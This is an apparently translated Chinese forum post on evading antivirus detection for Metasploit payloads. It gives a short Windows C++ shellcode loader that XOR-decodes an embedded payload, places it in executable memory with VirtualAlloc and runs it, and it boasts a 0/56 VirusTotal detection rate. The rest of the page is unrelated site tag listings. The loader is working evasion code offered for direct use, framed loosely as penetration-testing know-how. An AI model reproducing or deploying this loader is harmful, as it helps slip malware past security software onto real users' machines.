metasploit 免杀

本贴最后更新于 3296 天前,其中的信息可能已经时移世改

我原本打算写一篇冗长的博客讲述针对不同杀毒软件的绕过技术,但当我开始着手写教程的第一章并上传样本到 virustotal 后,我震惊了!样本得到了 0/56 的检测率。于是我决定扔掉先前的长篇大论,转而记录这个快速、令人难以置信的简单方法。


我相信大部分的读者都会同意这个观点,绕过大部分杀毒软件的基本方法都很平常没什么特殊的。然而,我也偶尔会遇到一些人仅仅依靠工具生成二进制文件,这些文件很容易被杀毒软件通过指纹标记出来。本文主要是为这些人所准备的。


在我们开始接触这段小巧的 C++ 代码前,我想先介绍一个可以非常棒的制造免杀的工具 Veil-Evasion (Veil-Framework的一部分)。这个工具非常神奇 (感谢 @harmj0y和他的小伙伴们创建了这个神奇的项目),在几乎所有情况下,它都没有让我失望过。如果有,那我就要批评那些总是不停生成二进制文件然后上传到 virustotal 进行测试的人。如果你不这么做,那就会更加美好了。


无论如何,这就引出了一个问题,既然像 Veil-Evasion 这类的工具这么神奇,那为什么你要关心如何自己在二进制文件加入 shellcode?原因有很多:


大牛都很忙而且工具有些过时。工具生成的二进制都拥有相似的指纹,不是指 payload,而是说工具编译二进制的结构有相似的指纹。作为一个渗透测试工作者,你应当知道如何做。 
在你看下面的代码前,你应该注意到这是针对 Windows 平台的,很明显代码中有 windows.h 的引用。


  • #include <windows.h>

  • #include <iostream>

  • int main(int argc, char **argv) {

  • char b[] = {/* 插入你经过与'x'异或操作后的shellcode代码,例如:0x4C,0x4F, 0x4C */};

  • char c[sizeof b];

  • for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}

  • void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  • memcpy(exec, c, sizeof c);

  • ((void(*)())exec)();

  • }

  • 很简单,上面的代码创建了一个可以自行添加包含 shellcode 的字符数组,关键点在于将你的 shellcode 与小写字母 ‘x’ 执行异或操作,然后分配一些内存,拷贝字符数组到分配的内存中,最后执行它。需要特别注意的是,你要先将 shellcode 与你选择的关键字(本例中为 ‘x’)进行异或操作,然后将 shellcode 放入到上面代码中并编译。


    这时你可能会问“就这样?”。我了解你的感受,因为当时我也是这么想的,在写完第一章内容并上传样本到 virustotal 后并收到 0/56 的检测率。我想强调这是一个令人难以置信的简单和基础的技术,但它成功率却出奇的高。



    你生成二进制文件的 SHA256 值可能跟我样本的不太一样,我样本中包含的 shellcode 是由 metasploit framework 生成的。


    相关帖子

    欢迎来到这里!

    我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

    注册 关于
    请输入回帖内容 ...

    推荐标签 标签

    • Q&A

      提问之前请先看《提问的智慧》,好的问题比好的答案更有价值。

      10197 引用 • 46337 回帖 • 64 关注
    • GraphQL

      GraphQL 是一个用于 API 的查询语言,是一个使用基于类型系统来执行查询的服务端运行时(类型系统由你的数据定义)。GraphQL 并没有和任何特定数据库或者存储引擎绑定,而是依靠你现有的代码和数据支撑。

      4 引用 • 3 回帖 • 4 关注
    • 大数据

      大数据(big data)是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合,是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高增长率和多样化的信息资产。

      89 引用 • 113 回帖
    • VirtualBox

      VirtualBox 是一款开源虚拟机软件,最早由德国 Innotek 公司开发,由 Sun Microsystems 公司出品的软件,使用 Qt 编写,在 Sun 被 Oracle 收购后正式更名成 Oracle VM VirtualBox。

      10 引用 • 2 回帖 • 17 关注
    • Wide

      Wide 是一款基于 Web 的 Go 语言 IDE。通过浏览器就可以进行 Go 开发,并有代码自动完成、查看表达式、编译反馈、Lint、实时结果输出等功能。

      欢迎访问我们运维的实例: https://wide.b3log.org

      30 引用 • 218 回帖 • 645 关注
    • RabbitMQ

      RabbitMQ 是一个开源的 AMQP 实现,服务器端用 Erlang 语言编写,支持多种语言客户端,如:Python、Ruby、.NET、Java、C、PHP、ActionScript 等。用于在分布式系统中存储转发消息,在易用性、扩展性、高可用性等方面表现不俗。

      49 引用 • 60 回帖 • 352 关注
    • OneDrive
      2 引用
    • webpack

      webpack 是一个用于前端开发的模块加载器和打包工具,它能把各种资源,例如 JS、CSS(less/sass)、图片等都作为模块来使用和处理。

      42 引用 • 130 回帖 • 253 关注
    • Telegram

      Telegram 是一个非盈利性、基于云端的即时消息服务。它提供了支持各大操作系统平台的开源的客户端,也提供了很多强大的 APIs 给开发者创建自己的客户端和机器人。

      5 引用 • 35 回帖
    • 印象笔记
      3 引用 • 16 回帖
    • CSDN

      CSDN (Chinese Software Developer Network) 创立于 1999 年,是中国的 IT 社区和服务平台,为中国的软件开发者和 IT 从业者提供知识传播、职业发展、软件开发等全生命周期服务,满足他们在职业发展中学习及共享知识和信息、建立职业发展社交圈、通过软件开发实现技术商业化等刚性需求。

      14 引用 • 155 回帖
    • 安全

      安全永远都不是一个小问题。

      199 引用 • 818 回帖
    • Office

      Office 现已更名为 Microsoft 365. Microsoft 365 将高级 Office 应用(如 Word、Excel 和 PowerPoint)与 1 TB 的 OneDrive 云存储空间、高级安全性等结合在一起,可帮助你在任何设备上完成操作。

      5 引用 • 34 回帖
    • 面试

      面试造航母,上班拧螺丝。多面试,少加班。

      326 引用 • 1395 回帖 • 2 关注
    • Bug

      Bug 本意是指臭虫、缺陷、损坏、犯贫、窃听器、小虫等。现在人们把在程序中一些缺陷或问题统称为 bug(漏洞)。

      76 引用 • 1742 回帖 • 2 关注
    • ReactiveX

      ReactiveX 是一个专注于异步编程与控制可观察数据(或者事件)流的 API。它组合了观察者模式,迭代器模式和函数式编程的优秀思想。

      1 引用 • 2 回帖 • 180 关注
    • 友情链接

      确认过眼神后的灵魂连接,站在链在!

      24 引用 • 373 回帖
    • 程序员

      程序员是从事程序开发、程序维护的专业人员。

      591 引用 • 3528 回帖
    • JetBrains

      JetBrains 是一家捷克的软件开发公司,该公司位于捷克的布拉格,并在俄国的圣彼得堡及美国麻州波士顿都设有办公室,该公司最为人所熟知的产品是 Java 编程语言开发撰写时所用的集成开发环境:IntelliJ IDEA

      18 引用 • 54 回帖
    • SSL

      SSL(Secure Sockets Layer 安全套接层),及其继任者传输层安全(Transport Layer Security,TLS)是为网络通信提供安全及数据完整性的一种安全协议。TLS 与 SSL 在传输层对网络连接进行加密。

      70 引用 • 193 回帖 • 408 关注
    • Postman

      Postman 是一款简单好用的 HTTP API 调试工具。

      4 引用 • 3 回帖 • 4 关注
    • Flutter

      Flutter 是谷歌的移动 UI 框架,可以快速在 iOS 和 Android 上构建高质量的原生用户界面。 Flutter 可以与现有的代码一起工作,它正在被越来越多的开发者和组织使用,并且 Flutter 是完全免费、开源的。

      39 引用 • 92 回帖 • 12 关注
    • OAuth

      OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 oAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 oAuth 是安全的。oAuth 是 Open Authorization 的简写。

      36 引用 • 103 回帖 • 35 关注
    • Swift

      Swift 是苹果于 2014 年 WWDC(苹果开发者大会)发布的开发语言,可与 Objective-C 共同运行于 Mac OS 和 iOS 平台,用于搭建基于苹果平台的应用程序。

      34 引用 • 37 回帖 • 557 关注
    • 书籍

      宋真宗赵恒曾经说过:“书中自有黄金屋,书中自有颜如玉。”

      84 引用 • 414 回帖
    • Maven

      Maven 是基于项目对象模型(POM)、通过一小段描述信息来管理项目的构建、报告和文档的软件项目管理工具。

      188 引用 • 319 回帖 • 237 关注
    • CSS

      CSS(Cascading Style Sheet)“层叠样式表”是用于控制网页样式并允许将样式信息与网页内容分离的一种标记性语言。

      199 引用 • 543 回帖 • 3 关注